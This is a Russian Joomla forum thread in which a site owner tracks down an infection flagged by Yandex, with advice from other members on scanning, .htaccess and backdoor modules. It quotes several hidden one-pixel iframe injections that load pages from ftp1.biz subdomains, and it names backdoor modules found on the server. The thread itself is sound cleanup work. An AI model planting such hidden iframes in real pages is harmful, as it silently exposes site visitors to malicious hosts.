Вирус на сайте, где искать? - Безопасность сайтов на Joomla

С Яндекс-вебмастера пришло письмо:

В настоящее время на страницах Вашего сайта находится вредоносный код следующего содержания:
<iframe src="http://usvkjc.ftp1.biz/ip/stat.php" width=1 height=1 style="visibility: hidden"></iframe>

В исходном коде ищу через поиск usvkjc.ftp1.biz, не находит, через FTP поиском проверяю весь сайт, тоже ноль, простым поиском в phpMyAdmin тоже ничего не нашел, где еще искать ума не приложу, подскажите кто знает

p.s. шаблон бесплатный, качал прямо с сайта разработчика, стоит расширение com_ipricecalc

такая же хрень, уже 5 дней. только сначал Google прислал. теперь в Google все ок (бэкапил, поудалял вредоносный код через искалку, гонял на вирусы (ничего не находилось), а Яндекс до сих пор блочит сайт. сегогдня отправил еще одну заявку на пересмотр

такая же хрень, уже 5 дней. только сначал Google прислал. теперь в Google все ок (бэкапил, поудалял вредоносный код через искалку, гонял на вирусы (ничего не находилось), а Яндекс до сих пор блочит сайт. сегогдня отправил еще одну заявку на пересмотр

Где сидел код?

этот код я не нашел
через утилиту удалял все подозрительные скрипты
и через notepad+ почистил все eval base64

жду пару дней пока сраный Яндекс опять проверит сайт

А в исходном коде есть вставка <iframe src= ?

А в исходном коде есть вставка <iframe src= ?

Нет, через поиск искал на всем сайте

Нет, через поиск искал на всем сайте

я про исходный код в браузере. ПС же указали на вирус

я про исходный код в браузере. ПС же указали на вирус

Нет, все чисто

адрес сайта в личку. были и такие случаи- левые сылки показывались только 1 раз  в день, даже при динамическом айпи
и сканером fls.php поищи бекдор
п.с.
Посмотрел сайт. Ничего в исходном коде в браузере не нашел.
Письмо Платону, чтобы еще раз проверили сайт.
И еще посмотри .htaccess.

Сейчас Яндекс убрал предупреждение, что сайт заражен
НО, сейчас зашел на сайт, антивирус заорал, и в коде в самом верху стоит такой фрейм:
<iframe src="http://znekz.ftp1.biz/counter" width=1 height=1 style="visibility: hidden"></iframe>
До этого был такой фрейм:
<iframe src="http://usvkjc.ftp1.biz/ip/stat.php" width=1 height=1 style="visibility: hidden"></iframe>
Еще раз обновил сайт, стоит уже другой фрейм
<iframe src="http://zzibsd.ftp1.biz/counter" width=1 height=1 style="visibility: hidden"></iframe>

вот сайт: transitzap.ru если что

Проверил поиском через ftp - все чисто  

Я не понимаю, где сидит скрипт, если его нельзя найти поиском

Проверил этим fls.php, вот что выдал:

File: /www/euroford/users/euroford-transit/www/htdocs/modules/mod_zetta/zetta.php
String:: FilesMan

File: /www/euroford/users/euroford-transit/www/htdocs/modules/mod_joooms/joooms.php
String:: FilesMan

это что?

это что?

Да, это были они
/modules/mod_zetta/apache.php
/modules/mod_zetta/mod_zetta.xml
/modules/mod_zetta/zetta.php
и
modules/mod_joooms/joooms.php
modules/mod_joooms/mod_joooms.xml

Удалил, в админке они все равно остались, удалили и оттуда
Но все равно антивирус продолжает ругаться

В админке? Вирусы и туда теперь пишутся?
Или что это было?

В админке? Вирусы и туда теперь пишутся?
Или что это было?

Получается, что да
Было 2 отключенных! модуля, назывались одинаково, типо Joomla System 1.0

Получается, что да
Было 2 отключенных! модуля, назывались одинаково, типо Joomla System 1.0

А откуда они там взялись?
Что устанавливали?

Доступ к админке есть у заказчика
Не думаю, что он смог бы сам что-то устанавить, но завтра спрошу обязательно

p.s. но вирус то остался

p.s. шаблон бесплатный, качал прямо с сайта разработчика, стоит расширение com_ipricecalc

А какой именно шаблон?
Не верю в то что заказчик виноват, скорей всего что-то левое устанавливали или сам движок - сборка?

Расширение ставил сам, на него и грешу, так как что греха таить, скачал уже не помню откуда
Но в свое оправдание хочу сказать, что на другом сайте с таким расширением все нормально
Шаблон rt_afterburner_j15
Заказчик говорит ничего не ставил

Расширение ставил сам, на него и грешу, так как что греха таить, скачал уже не помню откуда
Но в свое оправдание хочу сказать, что на другом сайте с таким расширением все нормально
Шаблон rt_afterburner_j15
Заказчик говорит ничего не ставил

а вы погромче кричите об этом, и проверьте тот сайт
дело может и не в варьезе, причин много

@voland
тут прикол в том что взломав сайт устанавливают модули, плагины с дверью, прямо через админку, и еще есть ряд приколов 

@voland
тут прикол в том что взломав сайт устанавливают модули, плагины с дверью, прямо через админку, и еще есть ряд приколов 

А смысл? Учить бота логиниться в админку и делать установку, когда можно просто залить автоматом всё нужное?
Или у ТС сайт ЯК\ТИЦ 2000? Судя по нику, не похоже ))

Только вирус по прежнему сидит

fls.php показывает файлы, многие вручную проверил, чисто

Нашел!
В корне сайта в файле index.php
в самом низу файла вместо
было:
Подскажите как теперь очистить базу данных?

Как в соседней теме http://joomlaforum.ru/index.php/topic,237258.0.html
Просто удали, и посмотри на результат.
БД не трогай.